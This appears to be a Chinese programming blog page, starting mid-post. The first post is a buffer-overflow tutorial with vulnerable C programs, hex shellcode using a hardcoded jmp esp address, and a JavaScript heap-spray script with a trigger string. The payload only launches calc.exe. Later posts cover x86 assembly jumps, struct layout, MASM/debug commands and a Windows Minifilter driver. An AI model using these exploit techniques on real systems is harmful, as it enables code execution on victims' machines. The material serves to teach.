16的位置。这样就将原始的老eip的地址修改为了shellcode的首地址。而如果我们打开下面注释的语句,而将之前的那句给pEip赋值的语句注释起来,那么将会执行func2,通过这句将ret的地址修改为func2的首地址,那么自然会执行func2函数,需要注意的是在shellcode中一般都会在结束的位置调用一个ExitProcess,因为我们通过缓冲区溢出将代码写到了堆栈上,如果代码接着向下执行,就会执行堆栈上的无效代码,这样程序肯定会崩溃,而被攻击者也会发现。另外一点是对于像strcpy这样根据字符串末尾的\0来做为拷贝结束的标志的函数,利用它的漏洞则shellcode的中简不能出现\0,即使有也要用其他类似的指令替代就向把mov eax, 0这样的替换成xor eax, eax这个是在本地做的缓冲区溢出的例子,这个例子是自己攻击自己,这样起不到攻击的效果,下面这个是通过文件的方式进行攻击。#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } int main() { int valid_flag=0; char password[1024]; HANDLE hFile = NULL; DWORD dwReadLength = 0; LoadLibrary("user32.dll");//prepare for messagebox hFile = CreateFile("password.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (NULL == hFile) { printf("open file error!\n"); return 0; } ReadFile(hFile, password, 1024, &dwReadLength, NULL); if (0 == dwReadLength) { printf("read error!\n"); return 0; } valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); } CloseHandle(hFile); return 0; }同样,这个程序发生溢出漏洞主要的位置是在verify_password 函数中的strcpy中,函数提供了44个字节的缓冲,但是我们传入的字符可能大于44,而这次攻击的主要代码是放在password.txt这个文件中,我们使用16进制的查看器,查看这个文件,得到如下结果根据计算可以得出,修改eip的位置应该是在44 + 4 + 4 = 52 = 0x34 位置进行,而在xpsp3中0x77d29353对应的是jmp esp的地址,这个是我调试的图仔细的对照发现,这段汇编码 所对应的机器码与文件中后面的部分完全一样。这样就完成了一个shellcode的注入下面的例子是一个远程注入的例子,通过虚拟机模拟两台计算机之间的通信void msg_display(char * buf) { char msg[200]; strcpy(msg,buf);// overflow here, copy 0x200 to 200 cout<<"********************"<<endl; cout<<"received:"<<endl; cout<<msg<<endl; }服务器端的程序主要功能是从客户端接收数据,并调用该函数打印字符串,从函数的代码来看,如果传入的字符少于200则不会出现问题,如果大于200,则会发生溢出。所以在这种情况下,攻击者从客户端发送一段精心构造的字符,进行缓冲区溢出攻击,执行它的恶意代码,原理与本地端程序的相同,下面是shellcode部分的代码unsigned char buff[0x200] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaa"//200个a "\x53\x93\xd2\x77"//jmp esp "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" //loadlibrary地址 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" "\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); "\xFF\xD0" "\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address "\xff\xd0"//ExitProcess(0); ;服务器是采用release的方式编译的,所以在调用函数的时候没有进行ebp的压栈,所以在弟200个字符的位置就是jmp esp的地址,后面紧跟着攻击者构建的攻击代码,这段机器码主要的功能是弹出一个计算器从上面的例子中我们看到许多shellcode都是采用16进制的方式硬编码出来的,而我们不可能真的拿16进制的机器码去编写程序,所以有的时候为了实现特定的功能,可以先使用C编写相关的代码,然后通过调试在VS中点击ALT + 8得到对应的汇编码,在汇编的界面上点击右键,选择显示汇编码那个选项就可以得到上面调试图片的代码,前面是地址,后面是汇编对应的机器码。堆栈协同攻击在使用栈溢出攻击的时候经常会破坏原始的堆栈,这样在执行完成攻击代码后如果不结束程序,一般程序都会崩溃,堆栈协同攻击是将攻击代码写入到堆中,对于栈来说只覆盖ret位置的地址,让其指向一个特定的地址,并将攻击代码写到这个地址上。通过缓冲区溢出的方式将栈中保存的eip的值修改为0x0c0c0c0c,然后在堆中分配200M的内存,将这200M分为200分,每份1M,都填充为、\0x90\0x90\0x90.......\0x90 + shellcode + 0x00...0x00的方式,这样在函数返回时会返回到对应的地址,执行攻击代码。在这有几个问题。为什么需要给填充那么多90也就是Nop指令?我们说上面给的地址只是假想的地址,并不能保证分配的堆内存一定是这个首地址,如果堆内存以shellcode开头那么如果这个时候0x0c0c0c0c很有可能正好落在shellcode的某个指令里面,可能会发生指令截断,而执行错误的指令,所以前面以nop指令填充,Nop占一个字节,所以可以避免这种问题为什么要用0x0c0c0c0c这种对称的值做为返回地址?要回答这个问题我们先假设这样一个情景,现在有一个获取文件全路径的函数,先通过某个方式得到文件所在目录szPath,然后根据用户传入的名称调用strcat将两个字符串进行拼接,然后最后返回,这个时候strcat由于不校验缓冲区的大小,就产生了一个可以利用的漏洞,但是由于返回的szPath路径长度不确定,那么我们传入多少个字符可以刚好溢出到ret的地址呢?有一种方法就是将所有的四个字节都写入这个返回地址,就像0x12345678 0x12345678 0x12345678这种,但是由于我们不知道szPath具体会是多少个字符,如果比我们预计的多一个那么覆盖到的就可能是0x34567812如果少一个则会是0x78123456,这些都不是我们想要的,所以采用0x0c0c0c0c这种对称的返回地址不管你的szPath是多少个字节,我都可以正确的将这个地址覆盖到ret的位置。为什么要分配200M这么到的空间,而且怎么保证这个0x0c0c0c0c一定落在这200M里面?由于系统是随机分配的堆内存,所以分配的这块内存的首地址具体实多少谁也不知道,也不能保证这个0x0c0c0c0c一定会落在这200M空间内,所以我们分配这么大的空间,分为200份,每份都有这个shellcode,纯粹只是为了加大这个0x0c0c0c0c命中的概率,毕竟相比于shellcode不到几K的大小200M其实是很大的。这个方法跳转到的地址是不确定的,有一定的盲目性,所以又叫做盲跳攻击下面是一个利用javascript写得堆栈协同攻击的例子:<script language="javascript"> var codeTemp = "%u558B%uEC33%uC050%u5050%uC645%uF44D%uC645%uF553" +"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" +"\x7b\x1d\x80\x7c" //loadlibrary地址 +"\x52\x8D\x45\xF4\x50" +"\xFF\x55\xF0" +"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" +"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" +"\x50\xB8" +"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); +"\xFF\xD0" +"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address +"\xff\xd0"//ExitProcess(0); var codeTemp22 = "%u8B55%u33EC%u50C0%u5050%u45C6%u4DF4%u45C6%u53F5" //+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\u45C6\u56F6\u45C6\u43F7\u45C6\u52F8\u45C6\u54F9\u45C6\u2eFA\u45C6" +"\u44FB\u45C6\u4CFC\u45C6\u4CFD\uBA90" //s+"\uC644\uFC45\uC64C\uFD45\uBA4C" +"\u1d7b\u7c80" //loadlibrary地址 +"\u8D52\uF445\uFF50" +"\uF055" +"\u8B55\u83EC\u2CEC\u63B8\u6c61\u8963\uF445\u2eB8\u7865\u8965" +"\uF845\u20B8\u2020\u8922\uFC45\uD233\u5588\u8DFF\uF445" +"\uB850" +"\u93c7\u77bf" //sytem函数地址 system("calc.eue"); +"\uD0FF" +"\ub853\ucafa\u7c81"//EuitProcess Address +"\ud0ff"//EuitProcess(0); var shellcode=unescape(codeTemp22) ; var nop=unescape("%u9090%u9090"); while (nop.length<= 0x100000/2) { nop+=nop; } nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 ); var slide = new Array();//fill 200MB heap memory with our block for (var i=0; i<200; i++) { slide[i] = nop + shellcode; } </script>这段代码首先利用循环分配了200M的空间,将每兆都写入shellcode加上nop指令,如果浏览器打开这个段代码将会在某个堆上面写入这段shellcode,如果浏览器被人利用溢出攻击将返回地址改为0x0c0c0c0c,那么很可能会跳转到这段代码上面,在测试的时候可以使用dll注入的方式,制造一个缓冲区溢出漏洞,然后在触发它就可以实现这个。下面是dll中用来触发溢出的代码char *szOverflowBuff[] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c"; void test_overflow() { char szBuf[28]; strcpy(szBuf, szOverflowBuff); }那么在debug版本下这个字符串刚好能够覆盖ret的地址,所以如果IE首先打开了之前的脚本,将shellcode写入到内存中的,然后再执行这个代码,就会覆盖ret在返回返回的时候跳转到shellcode的位置执行shellcode的内容。
2016年10月31日
17 阅读
0 评论
0 点赞
2016-10-23
用call和ret实现子程序
ret和call是另外两种转移指令,它们与jmp的主要区别是,它们还包含入栈和出栈的操作。具体的原理如下:ret操作相当于:pop ip(直接将栈顶元素赋值给ip寄存器)call s的操作相当于:push ip jmp s(先将ip的值压栈,再跳转)retf的操作相当于:pop ip pop cscall dword ptr s相当于:push cs push ip这两组指令为我们编写含子函数的程序提供了便利,一般的格式如下:main: ......... call s ........ a s: ........ call s1 .......... b ret s1: .......... call s2 ......... c ret s2: ......... d call s3 ret s3: ........ ret分析以上的程序,假设call的下一条指令的偏移地址分别为:a、b、c、d随着程序的执行,ip指向call指令,CPU将这条指令放入指令缓冲器,执行上一条指令,然后ip指向下一条指令,ip = a。执行call指令,根据call的原理先执行a入栈,此时栈中的情况如下然后跳转到s,执行到call指令处时,ip = b,b首先入栈,然后跳转到s1执行到s1处的call指令时,ip = c,c入栈,然后跳转到s2执行到s2处的call指令时,ip = d,d入栈,然后跳转到s3执行到s3处的ret指令时,栈顶元素出栈,ip = d,程序返回到s2中,到ret时,ip = c,程序返回到s1,再次执行ret,ip = b,程序返回到s,执行ret,ip = a,程序返回到main中,接下来正常执行main中的代码,知道整个程序结束。
2016年10月23日
59 阅读
0 评论
0 点赞
2016-10-23
汇编转移指令jmp原理
在计算机中存储的都是二进制数,计算机将内存中的某些数当做代码,某些数当做数据。在根本上,将cs,ip寄存器所指向的内存当做代码,指令转移就是修改cs,ip寄存器的指向,汇编中提供了一种修改它们的指令——jmp。jmp指令可以修改IP或cs和IP的值来实现指令转移,指令格式为:”jmp 标号“将指令转移到标号处,例如:CODES SEGMENT ASSUME CS:CODES START: MOV AX,0 jmp s inc ax s: mov ax,3 MOV AH,4CH INT 21H CODES ENDS END START通过单步调试可以看出在执行jmp后直接执行s标号后面的代码,此时ax为3,。jmp s所对应的机器码为"EB01",在“Inc ax”后面再加其他的指令(加两个 nop指令)此时jmp所对应的机器码为"EB03",每一个nop指令占一个字节,在添加或删除它们之间的代码可以看到jmp指令所对应的机器码占两个字节,第一个字节的机器码并不发生改变,改变的是第二个字节的内容,并且第二个字节的内容存储的是跳转目标指令所在内存与jmp指令所在内存之间的位移。其实cup在执行jmp指令时并不会记录标号所在的内存地址,而是通过标号与jmp指令之间的位移,假设jmp指令的下一条指令的地址为org,位移为idata,则目标的内存地址为dec = org + idata。(idata有正负之分)在CPU中有指令累加器称之为CA寄存器, 程序每执行一条,CA的值加1,jmp指令后可以有4中形式“jmp short s、jmp、 s jmp near ptr s、jmp far ptr s”编译器在翻译时,位移所对应的内粗大小为1、2、2、4(分别是cs和ip所对应的位移)。都是带符号的整型。jmp指令的跳转分为两种情况:向前跳转和向后跳转。向后跳转:jmp (.....)s ...... ...... s:......这种情况下,编译器将jmp指令读完后,读下一条指令,并将CA加1,一直读到相应的标号处,此时CA的值就是位移,根据具体的伪指令来分配内存的大小(此时的数应该为正数)向前跳转 :s:....... ........ jmp (......) s编译器在遇到标号时会在标号后添加几个nop指令("jmp short s、jmp、 s jmp near ptr s、jmp far ptr s"分别添加1,2,2,4个),读下一条指令时将CA寄存器的值加1,得到对应的位移,生成机器码(此时为负数).这两种方式分别得到位移后,在执行过程中,利用上述公式计算出对应的地址,实现指令的转移下面的一段代码充分说明了jmp的这种实现跳转的机制:assume cs:code code segment mov ax,4c00h int 21h start: mov ax,0 s: nop nop mov di,offset s mov si,offset s2 mov ax,cs:[si] mov cs:[di],ax s0: jmp short s s1: mov ax,0 int 21h mov ax,0 s2: jmp short s1 nop code ends end start通过以上的分析可以得出,几个jmp指令所占的空间为2个字节,一个保存jmp本省的机器码,EB,另一个保存位移。因此两个nop指令后面的四句是将s2处的“jmp short s1”所对应的机器码拷贝到s处,利用debug下的-u命令可以看出该处的机器码为“EB F6” f6转化为十进制是-10.执行到s0处时,jmp指令使CPU下一次执行s处的代码,“EB F6”对应的操作利用公式可以得出IP = A - A = 0,下一步执行的代码是“MOV AX,4C00H”,也就是说该程序在此处结束。用-t命令单步调试:
2016年10月23日
35 阅读
0 评论
0 点赞
2016-10-23
C语言中处理结构体的原理
汇编中有几种寻址方式,分别是直接寻址:(ds:[idata])、寄存器间接寻址(ds:[bx])、寄存器相对寻址(ds:[bx + idata]、ds:[bx + si])基址变址寻址(ds:[bx + si])、相对基址变址寻址([bx + si + idata])。结构体的存储逻辑图如下:(以下数据表示某公司的名称、CEO、CEO的福布斯排行、收入、代表产品)现在假设公司的CEO在富豪榜上的排名为38,收入增加了70,代表产品变为VAX,通过汇编编程修改上述信息,以下是相应的汇编代码:(假设数据段为seg)mov ax,seg mov ds,ax mov bx,0 mov word ptr ds:[bx + 12],38 add [bx + 14],70 mov si,0 mov byte ptr [bx + 10 + si],'V' inc si mov byte ptr [bx + 10 + si],'A' inc si mov byte ptr [bx + 10 + si],'X'对应的C语言代码可以写成:struct company { char cn[3]; char name[9]; int pm; int salary; char product[3]; }; company dec = {"DEC","Ken Olsen",137,40,"PDP"}; int main() { int i; dec.pm = 38; dec.salary += 70; dec.product[i] = 'V'; ++i; dec.product[i] = 'A'; ++i; dec.product[i] = 'X'; return 0; }对比C语言代码和汇编代码,可以看出,对于结构体变量,系统会先根据定义分配相应大小的空间,并将各个变量名与内存关联起来,结构体对象名与系统分配的空间的首地址相对应(定义的结构体对象的首地址在段中的相对地址存储在bx中),即在使用dec名时实际与汇编代码“mov ax,seg” "mov ds,ax"对应,将数据段段首地址存入ds寄存器中,系统根据对象中的变量名找到对应的偏移地址,偏移地址的大小由对应的数据类型决定,如cn数组前没有变量,cn的偏移地址为0,cn所在的地址为 ds:[bx],cn为长度为3的字符型数组,在上一个偏移地址的基础上加上上一个变量所占空间的大小即为下一个变量的偏移地址,所以name数组的首地址为ds:[bx + 3],这样给出了对象名就相当于给定了该对象在段中的相对地址(上述代码中的bx),给定了对象中的成员变量名就相当于给定了某一内存在对象中的偏移地址(ds:[bx + idata])。根据数组名可以找到数组的首地址,但数组中具体元素的访问则需要给定元素个数,即si的值来定位数组中的具体内存,C语言中的 ++i 相当于汇编中的 (add si ,数组中元素的长度)。根据以上的分析可以看出,构建一个结构体对象时,系统会在代码段中根据结构体的定义开辟相应大小的内存空间,并将该空间在段中的偏移地址与对象名绑定。对象中的变量名与该变量在对象所在内存中的偏移地址相关联,数组中的标号用于定位数组中的元素在数组中的相对位置。(对象名决定bx,变量名决定bx + idata,数组中的元素标号决定bx + idata + si)。
2016年10月23日
19 阅读
0 评论
0 点赞
2016-10-23
汇编debug与masm命令
汇编语言这块是我之前写在网易博客上的,不过那个账号基本已经作废了,所以现在抽个时间把当时的博客搬到CSDN上。汇编命令(编译器masm命令):找到masm所在的文件夹,我的在d:\MASM中,用cmd打开dos界面,输入“d:”切换到D盘,再输入“d:\MASM\masm”打开编译器中的masm程序得到如下结果:再输入路径+含".asm"的文件(若在当前文件夹中则不必输入路径),这个表示生成了一个“.obj”文件,在第二行若不输入任何内容则默认在当前文件夹下生成一个与“.asm”同名的“.obj”文件。下面几个直接输入空格,不生成这几个文件,知道提示所有工作都完成(0 warning error)再按照上述格式找到MASM文件中的link程序,输入所需的“.obj”文件的相对路径 ".exe"行后不输入任何内容表示在该文件夹下生成一个与“.obj”文件同名的“.exe”文件,到这里汇编程序的编译链接工作就完成了。下面是该程序的调试,输入“debug” + 执行程序的路径进入程序,-u命令:查看汇编代码;-t命令:执行下一条语句-g + 的内存:跳转到该内存所对应的语句(再用t命令执行该条命令)-r命令:查看寄存器的内容(后可直接接寄存器的名称,就只查看该寄存器的内容)-d命令:后接内存地址,查看改地址后面8 * 16个字节空间的地址(每行16个字节,共8行)后面是对应的字符‘.’表示没有该数字对应的字符加上地址范围的话就只查看该地址范围内存储的数据
2016年10月23日
36 阅读
0 评论
0 点赞
2016-10-23
Minfilter过滤框架
Minfilter过滤框架优势与传统的Sfilter过滤驱动相比,有这样几个优势Minfilter加载顺序更易控制,Sfilter加载是随意的,也就是说它在IO设备栈上的顺序是根据其创建的顺序决定的,越晚创建的,越排在设备栈的顶部,而Minfilter根据它的一个全局变量——altitude规定了它在设备栈上的顺序具有可卸载能力,一般的hook或者过滤框架在卸载时可能仍然有程序在访问它们的代码,所以如果在有程序访问其代码,而它又被卸载时容易导致蓝屏,这样就不具备可卸载能力。而Minfilter则不会导致蓝屏Minfilter是通过注册回调函数到Minfilter管理器中,由Minfilter管理器来负责调度这些函数,不直接与IO管理器接触,同时我们只需要注册我们感兴趣的回调函数,而不像Sfilter那样,需要提供一个统一的处理函数。所以相对来说更简单兼容性更好,由IO管理器下发的IRP 请求既可以交给Sfilter框架处理,也可以交给Minfilter处理,也可以给下层的设备驱动处理。名字处理处理更加容易,相对与Sfilter中需要另外顶一个一个NAME_CONTROL结构,还需要注意长短名来说,Minfilter更加简单,只需要一个简单的函数就可以获取文件的卷设备名称,文件全名,流名等信息Minfilter的基本框架应用层下发的IO请求首先交由IO管理器处理,IO管理器将请求封装为一个IRP请求包接着网下层分发,当分发到Minfilter管理器时,由Minfilter将IRP封装为一个CALLBACK_DATA结构,并根据不同的请求调用不同的回调函数,由回调函数处理并决定是否分发到下层。Altitude 变量这个变量是Minfilter提供的全局变量,用来规定这个Minfilter管理器在IO栈中的高度,值越大越位于上方,它们在IO管理器中的位置如下图在栈中的位置既不是越低越好也不是越高越好,而是根据其具体需求,比如杀毒操作应该放到加解密操作之前,加解密应该放到真实的读写操作之前,所以它们在栈中从上到下的顺序应该是杀毒、加解密、IO设备对象。所以微软为每个功能的Minfilter中的Altitude都提供了大致的位置值,杀毒的过滤驱动是在320000-329999,而加解密的是140000-149999Minfilter框架详解注册结构FLT_REGISTRATIONMinfilter中最主要的是各个回调函数,向其中注册回调函数实际是在填写一个叫做FLT_REGISTRATION的结构体,在Minfilter中定义了这样一个结构体的变量:const FLT_REGISTRATION fileMonitorRegistration = { sizeof( FLT_REGISTRATION ), // Size FLT_REGISTRATION_VERSION, // Version 0, // Flags ContextRegistration, // ContextRegistration fileMonitorCallbacks, // Operation callbacks fileMonUnload, // FilterUnload fileMonInstanceSetup, // InstanceSetup NULL, // InstanceQueryTeardown fileMonInstanceTeardownStart, // InstanceTeardownStart NULL, // InstanceTeardownComplete NULL, // GenerateFileName NULL, // GenerateDestinationFileName NULL // NormalizeNameComponent };fileMonitorCallbacks是一个函数的指针数组,保存了处理各种事件的回调函数,框架会根据具体的事件来调用这些函数。它的定义如下:const FLT_OPERATION_REGISTRATION fileMonitorCallbacks[] = { { IRP_MJ_CREATE, FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO, HOOK_PreNtCreateFile, HOOK_PostNtCreateFile }, { IRP_MJ_CLEANUP, 0, HOOK_PreNtCleanup, NULL }, { IRP_MJ_WRITE, 0, HOOK_PreNtWriteFile, HOOK_PostNtWriteFile }, { IRP_MJ_SET_INFORMATION, 0, HOOK_PreNtSetInformationFile, HOOK_PostNtSetInformationFile }, { IRP_MJ_OPERATION_END } };利用这个结构体将各种IRP请求与处理它的回调函数绑定起来,每组请求都有两个两个处理它的回调函数,一个Pre表示具体设备处理这个请求之前,Post表示系统处理这个请求之后。拿Sfilter中的sfCreate举例来说,HOOK_PreNtCreateFile处理的是在它调用IoCallDriver之前的操作,而HOOK_PostNtCreateFile表示的是在sfCreate在等到底层设备完成文件创建之后的操作。fileMonUnload 这个函数相当于驱动中的DriverUnload函数,在进行驱动开发时由于很多时候不能进行安全的卸载所以很多驱动不提供DriverUnload函数,防止由于卸载时产生蓝屏,要卸载只能重启机器fileMonInstanceSetup :Minfilter像Sfilter一样,会遍历计算机中的所有卷设备,每当有一个被遍历到,就会绑定一个过滤驱动设备在卷设备上,这个过滤设备就是Minfilter中的Instance,这个函数会在绑定过滤设备对象时触发fileMonInstanceTeardownStart 在卸载这个过滤设备时调用它们的关系如下图所示Minfilter过滤驱动的注册启动与销毁在我们自己写的驱动中可以使用函数FltRegisterFilter来向Minfilter管理器注册这个驱动的相关信息,以便Minfilter管理器将我们的程序放入到IO设备栈的合适位置中,该函数的原型如下:NTSTATUS FltRegisterFilter( IN PDRIVER_OBJECT Driver, IN CONST FLT_REGISTRATION *Registration, OUT PFLT_FILTER *RetFilter ); 第一个参数就是驱动的驱动对象指针,这个可以从DriverEntry中获得。第二个参数是是我们定义的那个装有各种事件回调函数的一个结构体的指针,通过传入这个参数,将这组回调函数注册到Minfilter管理器中第三个参数是一个输出参数,如果注册成功,则会返回这个参数用来唯一标识这个过滤驱动,这个参数一般是保存在NULL_FILTER_DATA结构中的FilterHandle中注册完成后,就是启动这个过滤驱动,进行文件系统的过滤,启动使用函数FltStartFiltering,这个函数需要传入之前注册函数返回的那个过滤驱动的句柄当我们不需要使用这个过滤驱动时使用函数FltUnregisterFilter卸载,它同样需要传入这个过滤驱动句柄。下面是一个具体的例子NTSTATUS DriverEntry ( __in PDRIVER_OBJECT DriverObject, __in PUNICODE_STRING RegistryPath ) { NTSTATUS status; UNREFERENCED_PARAMETER( RegistryPath ); //注册回调函数 status = FltRegisterFilter( DriverObject, &FilterRegistration, &NullFilterData.FilterHandle ); ASSERT( NT_SUCCESS( status ) ); if (NT_SUCCESS( status )) { //如果注册成功则开启minfilter监控 status = FltStartFiltering( NullFilterData.FilterHandle ); if (!NT_SUCCESS( status )) { //如果失败则卸载注册的回调 FltUnregisterFilter( NullFilterData.FilterHandle ); } } DbgPrint("Minifilter started\n"); return status; }对于卸载来说,需要注意的是很多驱动本身是不支持卸载的也就是不提供DriverUnload函数,因为系统中的驱动是被所有进程调用的,如果某个进程正在调用而另外一个进程正在卸载这个驱动,那么很可能会产生蓝屏。回调函数Minfilter过滤驱动中处理各个请求的回调函数一般都有两个:一个在IO设备处理之前,一个在IO设备处理之后。下面将称它们问Pre函数和Post函数Pre函数typedef FLT_PREOP_CALLBACK_STATUS (*PFLT_PRE_OPERATION_CALLBACK) ( IN OUT PFLT_CALLBACK_DATA Data, IN PCFLT_RELATED_OBJECTS FltObjects, OUT PVOID *CompletionContext );这个函数中的Data是对IRP的一个封装,与操作IRP相似,Minfilter向R3层返回结果使用的代码与普通的NT模型中的相同Data->IoStatus.Status = STATUS_SUCCESS; Data->IoStatus.Information = 0;另外过滤函数返回的值时直接返回给Minfilter管理器进行处理,而Sfilter返回的值是直接交给IO管理器,回调函数的返回值一般有这样几个常用的:FLT_PREOP_SUCCESS_WITH_CALLBACK:表示处理请求成功,接着往下发这个请求,下层驱动处理完这个请求后可以触发POST函数的调用FLT_PREOP_SUCCESS_NO_CALLBACK:与上述返回值类似,只是下层驱动处理完这个请求后不会触发POST函数FLT_PREOP_COMPLETE:请求处理完成,返回这个值,Minfilter将不会将请求继续往下发Post函数Post函数的原型如下:typedef FLT_POSTOP_CALLBACK_STATUS (FLTAPI *PFLT_POST_OPERATION_CALLBACK) ( __inout PFLT_CALLBACK_DATA Data, __in PCFLT_RELATED_OBJECTS FltObjects, __in_opt PVOID CompletionContext, __in FLT_POST_OPERATION_FLAGS Flags );在该函数中的返回值一般有如下几个:FLT_POSTOP_FINISHED_PROCESSING:向Minfilter管理器返回成功FLT_POSTOP_MORE_PROCESSING_REQUIRED:需要Minfilter管理器另外开一个线程,用来作为工作者线程,处理需要在低IRQL请求中完成的工作判断DATA的操作类型的宏FLT_IS_IRP_OPERATION:判断这个是否是一个IRP请求FLT_IS_FASTIO_OPERATION:判断这个是否是一个FASTIO请求FLT_IS_FS_FILTER_OPERATION:判断这个是否是一个文件系统过滤的请求Minfilter的安装以inf文件安装inf文件是一个安装信息的配置文件,指明了安装的.sys文件路径,安装到哪个位置,以及写到注册表中的何种位置,下面是一个具体的例子,在这只列举了比较重要的部分:[Version] Signature = "$Windows NT$" Class = "ActivityMonitor" ;This is determined by the work this filter driver does ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class Provider = %Msft% DriverVer = 06/16/2007,1.0.0.0 CatalogFile = nullfilter.cat [DestinationDirs] DefaultDestDir = 12 NullFilter.DriverFiles = 12 ;%windir%\system32\drivers ;; ;; Default install sections ;; [DefaultInstall] OptionDesc = %ServiceDescription% CopyFiles = NullFilter.DriverFiles [DefaultInstall.Services] AddService = %ServiceName%,,NullFilter.Service [DefaultUninstall] DelFiles = NullFilter.DriverFiles [DefaultUninstall.Services] DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting [NullFilter.Service] DisplayName = %ServiceName% Description = %ServiceDescription% ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ Dependencies = "FltMgr" ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER StartType = 3 ;SERVICE_DEMAND_START ErrorControl = 1 ;SERVICE_ERROR_NORMAL LoadOrderGroup = "FSFilter Activity Monitor" AddReg = NullFilter.AddRegistry [NullFilter.AddRegistry] HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% [NullFilter.DriverFiles] %DriverName%.sys [SourceDisksFiles] nullfilter.sys = 1,, [SourceDisksNames] 1 = %DiskId1%,,, [Strings] Msft = "Microsoft Corporation" ServiceDescription = "NullFilter mini-filter driver" ServiceName = "NullFilter" DriverName = "NullFilter" DiskId1 = "NullFilter Device Installation Disk" ;Instances specific information. DefaultInstance = "Null Instance" Instance1.Name = "Null Instance" Instance1.Altitude = "370020" Instance1.Flags = 0x1 ; Suppress automatic attachments下面对这些部分进行说明:以[]括起来的部分是一个节,inf文件就是由不同的节组成version节规定了程序的版本信息2.1 Class是程序的类,这个值是由驱动具体的功能决定的,这个值其实规定了Altitude的值,也就是驱动在IO栈上的位置。微软提供了不同用途的具体的class值,只需要去对应的网站查询,然后根据具体情况填写即可,点击这里查看2.2 ClassGuid:是上述Class所对应的GUID值,这个值在上面的链接中可以查到DestinationDirs 规定目标文件的路径,就是你希望将驱动文件安装到哪个目录下,填入的12表示是在C:\Windows\System32\Drivers目录DefaultInstall.Services节表示了要将这个驱动以服务的形式启动起来,AddService 表示添加一个服务,后面是服务的名称,标志,以及安装详细信息的节名称,这里指定安装详细信息在节NullFilter.Service中DefaultUninstall 表示卸载的节点,DelFiles值表名卸载的信息在节点NullFilter.DriverFiles中NullFilter.Service节点中规定了安装的详细信息:6.1 DisplayName表示的是服务的显示名称6.2 ServiceDescription 服务的描述信息6.3 ServiceBinary服务程序所在的路径6.4 Dependencies该服务的依赖项,就是这个服务要运行必须提前启动他的依赖项服务,Minfilter的驱动是依赖与"FltMgr"服务6.5 ServiceType 表示服务程序的类型,2 是表示文件系统的服务,这些值可以在MSDN中查到,只需要搜索关于Service的函数 即可,比如CreateService6.6 StartType 启动类型,3表示手动启动,这个信息也可以通过查询MSDN,方法与ServiceType值的查询相同6.7 ErrorControl,错误码,当驱动出错时系统怎么处理,1表示一个常规的处理方式6.8 LoadOrderGroup 加载这个驱动的用户组6.9 AddReg加入注册表信息所在的节点NullFilter.AddRegistry 加入注册表信息的节点,其中的每一项都是一个注册表的项String节中的内容可以看作是一组变量值的定义,当某些字符串过长或者需要反复使用,可以为它定义一个变量,为了以后使用时的方便。在使用时按照%变量名%的形式,最终在解析时会将其进行替换这份文件是一个通用的模板,以后在使用inf进行Minfilter驱动程序的安装时,只需要修改其中的名称,另外需要修改的可能就是服务启动的那部分内容了inf文件编写完成后,只需要点击右键-->安装即可,安装完成后在cmd下使用命令net start 驱动名 即可启动命令,卸载则使用net stop 驱动名用编程的方法动态加载安装驱动驱动安装主要的工作是将驱动加载到服务程序并填写相关注册表项,大致需要这样几步:调用OpenSCManager 打开服务控制管理器的句柄调用CreateService函数,为驱动创建一个服务设置注册表的值,其中打开注册表键使用函数RegCreateKeyEx,设置注册表的值用函数RegSetValueEx。BOOL InstallDriver(const char* lpszDriverName,const char* 